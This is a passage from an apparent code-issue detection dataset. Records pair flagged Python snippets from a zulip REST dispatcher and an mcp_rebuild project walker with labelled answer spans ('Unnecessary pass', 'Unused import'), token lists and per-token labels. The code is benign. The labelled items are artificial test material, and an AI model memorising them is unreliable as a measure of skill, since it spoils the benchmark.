"Mis",
"cell",
"ane",
"ous",
"'_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Document",
"s",
" ",
"to",
" ",
"append",
" ",
"as",
" ",
"an",
" ",
"appendi",
"x",
" ",
"to",
" ",
"all",
" ",
"manu",
"als",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"tex",
"info",
"\\u",
"appendi",
"ces",
" ",
"=",
" ",
"[]",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"fal",
"se",
",",
" ",
"no",
" ",
"module",
" ",
"index",
" ",
"is",
" ",
"generat",
"ed",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"tex",
"info",
"\\u",
"domain",
"\\u",
"indice",
"s",
" ",
"=",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Ho",
"w",
" ",
"to",
" ",
"display",
" ",
"URL",
" ",
"addresse",
"s",
":",
" ",
"'",
"footnote",
"',",
" ",
"'",
"no",
"',",
" ",
"or",
" ",
"'",
"inline",
"'.",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"tex",
"info",
"\\u",
"show",
"\\u",
"urls",
" ",
"=",
" ",
"'",
"footnote",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"true",
",",
" ",
"do",
" ",
"not",
" ",
"generat",
"e",
" ",
"a",
" ",
"@",
"deta",
"il",
"menu",
" ",
"in",
" ",
"the",
" ",
"\"",
"Top",
"\"",
" ",
"node",
"'",
"s",
" ",
"menu",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"tex",
"info",
"\\u",
"no",
"\\u",
"deta",
"il",
"menu",
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2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unnecessary pass | FunnyMan3595/mcp_rebuild/rebuild.py | [
{
"content": " @staticmethod\n def collect_projects(root, projects):\n \"\"\"Collects all the active projects under root into projects.\"\"\"\n for (dir, subdirs, files) in os.walk(root, followlinks=True):\n if \"DISABLED\" in files:\n # This project or category has been disabled. Skip it.\n del subdirs[:]\n print \"Disabled project or category at %s.\" % dir\n elif \"CATEGORY\" in files:\n # This is a category, not a project. Continue normally.\n pass\n print \"Found category at %s, recursing.\" % dir\n else:\n # This is a project. Create it, but do not continue into\n # subdirectories.\n projects.append(Project(dir))\n del subdirs[:]\n print \"Found project at %s.\" % dir",
"metadata": "root.Project.collect_projects",
"header": "['class', 'Project', '(', 'object', ')', ':', '___EOS___']",
"index": 144
}
]
| [
{
"span": "pass",
"start_line": 154,
"start_column": 16,
"end_line": 154,
"end_column": 20
}
]
| []
| 1 | true | [
"[CLS]_",
"Un",
"necessar",
"y_",
"pass_",
"[SEP]_",
"class_",
"Project_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"@_",
"staticmethod_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"collect",
"\\u",
"projects_",
"(_",
"root_",
",_",
"projects_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Collect",
"s",
" ",
"all",
" ",
"the",
" ",
"active",
" ",
"project",
"s",
" ",
"under",
" ",
"root",
" ",
"int",
"o",
" ",
"project",
"s",
".\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"(_",
"dir_",
",_",
"subdirs_",
",_",
"files_",
")_",
"in_",
"os_",
"._",
"walk_",
"(_",
"root_",
",_",
"follow",
"links_",
"=_",
"True_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"\"",
"DISABLED",
"\"_",
"in_",
"files_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Thi",
"s",
" ",
"project",
" ",
"or",
" ",
"category",
" ",
"has",
" ",
"bee",
"n",
" ",
"disable",
"d",
".",
" ",
" ",
"Ski",
"p",
" ",
"it",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"del_",
"subdirs_",
"[_",
":_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"print_",
"\"",
"Disa",
"ble",
"d",
" ",
"project",
" ",
"or",
" ",
"category",
" ",
"at",
" ",
"%",
"s",
".\"_",
"%_",
"dir_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"\"",
"CATEGORY",
"\"_",
"in_",
"files_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Thi",
"s",
" ",
"is",
" ",
"a",
" ",
"category",
",",
" ",
"not",
" ",
"a",
" ",
"project",
".",
" ",
" ",
"Continu",
"e",
" ",
"normal",
"ly",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"print_",
"\"",
"Foun",
"d",
" ",
"category",
" ",
"at",
" ",
"%",
"s",
",",
" ",
"recurs",
"ing",
".\"_",
"%_",
"dir_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Thi",
"s",
" ",
"is",
" ",
"a",
" ",
"project",
".",
" ",
" ",
"Creat",
"e",
" ",
"it",
",",
" ",
"but",
" ",
"do",
" ",
"not",
" ",
"continue",
" ",
"into_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"subdir",
"ector",
"ies",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"projects_",
"._",
"append_",
"(_",
"Project_",
"(_",
"dir_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"del_",
"subdirs_",
"[_",
":_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"print_",
"\"",
"Foun",
"d",
" ",
"project",
" ",
"at",
" ",
"%",
"s",
".\"_",
"%_",
"dir_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | zulip/zulip/zerver/lib/rest.py | [
{
"content": "from __future__ import absolute_import\n\nfrom django.views.decorators.csrf import csrf_exempt, csrf_protect\n\nfrom zerver.decorator import authenticated_json_view, authenticated_rest_api_view, \\\n process_as_post, JsonableError\nfrom zerver.lib.response import json_method_not_allowed, json_unauthorized, json_unhandled_exception\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.conf import settings\n\nimport logging\n\n\nMETHODS = ('GET', 'HEAD', 'POST', 'PUT', 'DELETE', 'PATCH')\n\n\n\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "@csrf_exempt\ndef rest_dispatch(request, globals_list, **kwargs):\n \"\"\"Dispatch to a REST API endpoint.\n\n This calls the function named in kwargs[request.method], if that request\n method is supported, and after wrapping that function to:\n\n * protect against CSRF (if the user is already authenticated through\n a Django session)\n * authenticate via an API key (otherwise)\n * coerce PUT/PATCH/DELETE into having POST-like semantics for\n retrieving variables\n\n Any keyword args that are *not* HTTP methods are passed through to the\n target function.\n\n Note that we search views.py globals for the function to call, so never\n make a urls.py pattern put user input into a variable called GET, POST,\n etc.\n \"\"\"\n supported_methods = {}\n # duplicate kwargs so we can mutate the original as we go\n for arg in list(kwargs):\n if arg in METHODS:\n supported_methods[arg] = kwargs[arg]\n del kwargs[arg]\n\n if request.method == 'OPTIONS':\n response = HttpResponse(status=204) # No content\n response['Allow'] = ', '.join(supported_methods.keys())\n response['Content-Length'] = \"0\"\n return response\n\n # Override requested method if magic method=??? parameter exists\n method_to_use = request.method\n if request.POST and 'method' in request.POST:\n method_to_use = request.POST['method']\n if method_to_use == \"SOCKET\" and \"zulip.emulated_method\" in request.META:\n method_to_use = request.META[\"zulip.emulated_method\"]\n\n if method_to_use in supported_methods:\n target_function = globals_list[supported_methods[method_to_use]]\n\n # Set request._query for update_activity_user(), which is called\n # by some of the later wrappers.\n request._query = target_function.__name__\n\n # We want to support authentication by both cookies (web client)\n # and API keys (API clients). In the former case, we want to\n # do a check to ensure that CSRF etc is honored, but in the latter\n # we can skip all of that.\n #\n # Security implications of this portion of the code are minimal,\n # as we should worst-case fail closed if we miscategorise a request.\n if not request.path.startswith(\"/api\") and request.user.is_authenticated():\n # Authenticated via sessions framework, only CSRF check needed\n target_function = csrf_protect(authenticated_json_view(target_function))\n elif request.META.get('HTTP_AUTHORIZATION', None):\n # Wrap function with decorator to authenticate the user before\n # proceeding\n target_function = authenticated_rest_api_view(target_function)\n else:\n if 'text/html' in request.META.get('HTTP_ACCEPT', ''):\n # If this looks like a request from a top-level page in a\n # browser, send the user to the login page\n return HttpResponseRedirect('%s/?next=%s' % (settings.HOME_NOT_LOGGED_IN, request.path))\n else:\n return json_unauthorized(\"Not logged in: API authentication or user session required\")\n\n if request.method not in [\"GET\", \"POST\"]:\n # process_as_post needs to be the outer decorator, because\n # otherwise we might access and thus cache a value for\n # request.REQUEST.\n target_function = process_as_post(target_function)\n\n return target_function(request, **kwargs)\n\n return json_method_not_allowed(list(supported_methods.keys()))",
"metadata": "root.rest_dispatch",
"header": "['module', '___EOS___']",
"index": 15
}
]
| [
{
"span": "from zerver.decorator import authenticated_json_view, authenticated_rest_api_view, \\\n process_as_post, JsonableError",
"start_line": 4,
"start_column": 0,
"end_line": 5,
"end_column": 38
},
{
"span": "from zerver.lib.response import json_method_not_allowed, json_unauthorized, json_unhandled_exception",
"start_line": 6,
"start_column": 0,
"end_line": 6,
"end_column": 100
},
{
"span": "import logging",
"start_line": 10,
"start_column": 0,
"end_line": 10,
"end_column": 14
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"from_",
"\\u\\u",
"future\\u\\u_",
"import_",
"abs",
"olute",
"\\u",
"import_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"django_",
"._",
"views_",
"._",
"decorators_",
"._",
"csrf_",
"import_",
"csr",
"f",
"\\u",
"exempt_",
",_",
"csr",
"f",
"\\u",
"protect",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"zerver_",
"._",
"decorator_",
"import_",
"authenticat",
"ed",
"\\u",
"json",
"\\u",
"view_",
",_",
"authenticat",
"ed",
"\\u",
"rest",
"\\u",
"api",
"\\u",
"view_",
",_",
"process",
"\\u",
"as",
"\\u",
"post_",
",_",
"Js",
"ona",
"ble",
"Error_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"zerver_",
"._",
"lib_",
"._",
"response_",
"import_",
"json",
"\\u",
"method",
"\\u",
"not",
"\\u",
"allowed_",
",_",
"json",
"\\u",
"unauthorized",
"_",
",_",
"json",
"\\u",
"unhandled",
"\\u",
"exception_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"django_",
"._",
"http_",
"import_",
"Http",
"Response_",
",_",
"Http",
"Respons",
"e",
"Redirect_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"django_",
"._",
"conf_",
"import_",
"settings_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"logging_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"METHODS_",
"=_",
"(_",
"'",
"GET",
"'_",
",_",
"'",
"HEAD",
"'_",
",_",
"'",
"POST",
"'_",
",_",
"'",
"PU",
"T",
"'_",
",_",
"'",
"DELET",
"E",
"'_",
",_",
"'",
"PATCH",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"@_",
"csr",
"f",
"\\u",
"exempt_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"rest",
"\\u",
"dispatch_",
"(_",
"request_",
",_",
"globals",
"\\u",
"list_",
",_",
"**_",
"kwargs_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Dispa",
"tch",
" ",
"to",
" ",
"a",
" ",
"REST",
" ",
"API",
" ",
"endpoint",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Thi",
"s",
" ",
"calls",
" ",
"the",
" ",
"function",
" ",
"named",
" ",
"in",
" ",
"kwarg",
"s",
"[",
"request",
".",
"method",
"],",
" ",
"if",
" ",
"tha",
"t",
" ",
"request",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"method",
" ",
"is",
" ",
"support",
"ed",
",",
" ",
"and",
" ",
"after",
" ",
"wrapp",
"ing",
" ",
"tha",
"t",
" ",
"function",
" ",
"to",
":",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"*",
" ",
"protect",
" ",
"against",
" ",
"CSRF",
" ",
"(",
"if",
" ",
"the",
" ",
"user",
" ",
"is",
" ",
"alr",
"ead",
"y",
" ",
"authenticat",
"ed",
" ",
"through",
"\\",
"10",
";",
" ",
" ",
"a",
" ",
"Dj",
"ang",
"o",
" ",
"session",
")",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"*",
" ",
"authenticat",
"e",
" ",
"via",
" ",
"an",
" ",
"API",
" ",
"key",
" ",
"(",
"other",
"wis",
"e",
")",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"*",
" ",
"coerce",
" ",
"PU",
"T",
"/",
"PATCH",
"/",
"DELET",
"E",
" ",
"int",
"o",
" ",
"hav",
"ing",
" ",
"POST",
"-",
"like",
" ",
"semantics",
" ",
"for",
"\\",
"10",
";",
" ",
" ",
"retrie",
"ving",
" ",
"variab",
"les",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Any",
" ",
"keyw",
"ord",
" ",
"args",
" ",
"tha",
"t",
" ",
"are",
" ",
"*",
"not",
"*",
" ",
"HTTP",
" ",
"method",
"s",
" ",
"are",
" ",
"pass",
"ed",
" ",
"through",
" ",
"to",
" ",
"the",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"target",
" ",
"function",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Not",
"e",
" ",
"tha",
"t",
" ",
"we",
" ",
"search",
" ",
"views",
".",
"py",
" ",
"globals",
" ",
"for",
" ",
"the",
" ",
"function",
" ",
"to",
" ",
"call",
",",
" ",
"so",
" ",
"neve",
"r",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"make",
" ",
"a",
" ",
"urls",
".",
"py",
" ",
"pattern",
" ",
"put",
" ",
"user",
" ",
"input",
" ",
"int",
"o",
" ",
"a",
" ",
"variab",
"le",
" ",
"call",
"ed",
" ",
"GET",
",",
" ",
"POST",
",",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"etc",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"support",
"ed",
"\\u",
"methods_",
"=_",
"{_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"duplicat",
"e",
" ",
"kwarg",
"s",
" ",
"so",
" ",
"we",
" ",
"can",
" ",
"mutate",
" ",
"the",
" ",
"original",
" ",
"as",
" ",
"we",
" ",
"go_",
"\\u\\u\\uNL\\u\\u\\u_",
"for_",
"arg_",
"in_",
"list_",
"(_",
"kwargs_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"arg_",
"in_",
"METHODS_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"support",
"ed",
"\\u",
"methods_",
"[_",
"arg_",
"]_",
"=_",
"kwargs_",
"[_",
"arg_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"del_",
"kwargs_",
"[_",
"arg_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"request_",
"._",
"method_",
"==_",
"'",
"OPTION",
"S",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"response_",
"=_",
"Http",
"Response_",
"(_",
"status_",
"=_",
"204_",
")_",
"#",
" ",
"No",
" ",
"content_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"response_",
"[_",
"'",
"All",
"ow",
"'_",
"]_",
"=_",
"',",
" ",
"'_",
"._",
"join_",
"(_",
"support",
"ed",
"\\u",
"methods_",
"._",
"keys_",
"(_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"response_",
"[_",
"'",
"Conten",
"t",
"-",
"Length",
"'_",
"]_",
"=_",
"\"",
"0",
"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"response_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Override",
" ",
"request",
"ed",
" ",
"method",
" ",
"if",
" ",
"magic",
" ",
"method",
"=?",
"??",
" ",
"parameter",
" ",
"exists_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"method",
"\\u",
"to",
"\\u",
"use_",
"=_",
"request_",
"._",
"method_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"request_",
"._",
"POST_",
"and_",
"'",
"method",
"'_",
"in_",
"request_",
"._",
"POST_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"method",
"\\u",
"to",
"\\u",
"use_",
"=_",
"request_",
"._",
"POST_",
"[_",
"'",
"method",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"method",
"\\u",
"to",
"\\u",
"use_",
"==_",
"\"",
"SOCKET",
"\"_",
"and_",
"\"",
"zu",
"lip",
".",
"emulate",
"d\\u",
"method",
"\"_",
"in_",
"request_",
"._",
"META_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"method",
"\\u",
"to",
"\\u",
"use_",
"=_",
"request_",
"._",
"META_",
"[_",
"\"",
"zu",
"lip",
".",
"emulate",
"d\\u",
"method",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"method",
"\\u",
"to",
"\\u",
"use_",
"in_",
"support",
"ed",
"\\u",
"methods_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"target",
"\\u",
"function_",
"=_",
"globals",
"\\u",
"list_",
"[_",
"support",
"ed",
"\\u",
"methods_",
"[_",
"method",
"\\u",
"to",
"\\u",
"use_",
"]_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Set",
" ",
"request",
".\\u",
"query",
" ",
"for",
" ",
"update",
"\\u",
"activit",
"y",
"\\u",
"user",
"()",
",",
" ",
"whi",
"ch",
" ",
"is",
" ",
"called_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"by",
" ",
"some",
" ",
"of",
" ",
"the",
" ",
"late",
"r",
" ",
"wrapp",
"ers",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"request_",
"._",
"\\u",
"query_",
"=_",
"target",
"\\u",
"function_",
"._",
"\\u\\u",
"name\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"We",
" ",
"want",
" ",
"to",
" ",
"support",
" ",
"authenticat",
"ion",
" ",
"by",
" ",
"bot",
"h",
" ",
"cookie",
"s",
" ",
"(",
"web",
" ",
"client",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"and",
" ",
"API",
" ",
"keys",
" ",
"(",
"API",
" ",
"clients",
").",
" ",
"In",
" ",
"the",
" ",
"former",
" ",
"case",
",",
" ",
"we",
" ",
"want",
" ",
"to_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"do",
" ",
"a",
" ",
"check",
" ",
"to",
" ",
"ensure",
" ",
"tha",
"t",
" ",
"CSRF",
" ",
"etc",
" ",
"is",
" ",
"honor",
"ed",
",",
" ",
"but",
" ",
"in",
" ",
"the",
" ",
"latt",
"er_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"we",
" ",
"can",
" ",
"skip",
" ",
"all",
" ",
"of",
" ",
"tha",
"t",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Secur",
"it",
"y",
" ",
"impli",
"cations",
" ",
"of",
" ",
"this",
" ",
"porti",
"on",
" ",
"of",
" ",
"the",
" ",
"code",
" ",
"are",
" ",
"minima",
"l",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"as",
" ",
"we",
" ",
"shou",
"ld",
" ",
"worst",
"-",
"case",
" ",
"fail",
" ",
"close",
"d",
" ",
"if",
" ",
"we",
" ",
"misc",
"ate",
"gori",
"se",
" ",
"a",
" ",
"request",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"not_",
"request_",
"._",
"path_",
"._",
"startswith_",
"(_",
"\"/",
"api",
"\"_",
")_",
"and_",
"request_",
"._",
"user_",
"._",
"is",
"\\u",
"authenticated_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Auth",
"entica",
"ted",
" ",
"via",
" ",
"session",
"s",
" ",
"frame",
"work",
",",
" ",
"only",
" ",
"CSRF",
" ",
"check",
" ",
"needed_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"target",
"\\u",
"function_",
"=_",
"csr",
"f",
"\\u",
"protect",
"_",
"(_",
"authenticat",
"ed",
"\\u",
"json",
"\\u",
"view_",
"(_",
"target",
"\\u",
"function_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"request_",
"._",
"META_",
"._",
"get_",
"(_",
"'",
"HTTP",
"\\u",
"AUTHORIZATION",
"'_",
",_",
"None_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Wra",
"p",
" ",
"function",
" ",
"with",
" ",
"decorat",
"or",
" ",
"to",
" ",
"authenticat",
"e",
" ",
"the",
" ",
"user",
" ",
"before_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"proceed",
"ing_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"target",
"\\u",
"function_",
"=_",
"authenticat",
"ed",
"\\u",
"rest",
"\\u",
"api",
"\\u",
"view_",
"(_",
"target",
"\\u",
"function_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"'",
"text",
"/",
"html",
"'_",
"in_",
"request_",
"._",
"META_",
"._",
"get_",
"(_",
"'",
"HTTP",
"\\u",
"ACCEPT",
"'_",
",_",
"''_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"If",
" ",
"this",
" ",
"look",
"s",
" ",
"like",
" ",
"a",
" ",
"request",
" ",
"from",
" ",
"a",
" ",
"top",
"-",
"level",
" ",
"page",
" ",
"in",
" ",
"a_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"browse",
"r",
",",
" ",
"send",
" ",
"the",
" ",
"user",
" ",
"to",
" ",
"the",
" ",
"login",
" ",
"page_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"Http",
"Respons",
"e",
"Redirect_",
"(_",
"'%",
"s",
"/?",
"next",
"=",
"%",
"s",
"'_",
"%_",
"(_",
"settings_",
"._",
"HOM",
"E",
"\\u",
"NOT",
"\\u",
"LOGGE",
"D",
"\\u",
"IN_",
",_",
"request_",
"._",
"path_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"json",
"\\u",
"unauthorized",
"_",
"(_",
"\"",
"Not",
" ",
"logged",
" ",
"in",
":",
" ",
"API",
" ",
"authenticat",
"ion",
" ",
"or",
" ",
"user",
" ",
"session",
" ",
"require",
"d",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"request_",
"._",
"method_",
"not_",
"in_",
"[_",
"\"",
"GET",
"\"_",
",_",
"\"",
"POST",
"\"_",
"]_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"process",
"\\u",
"as",
"\\u",
"post",
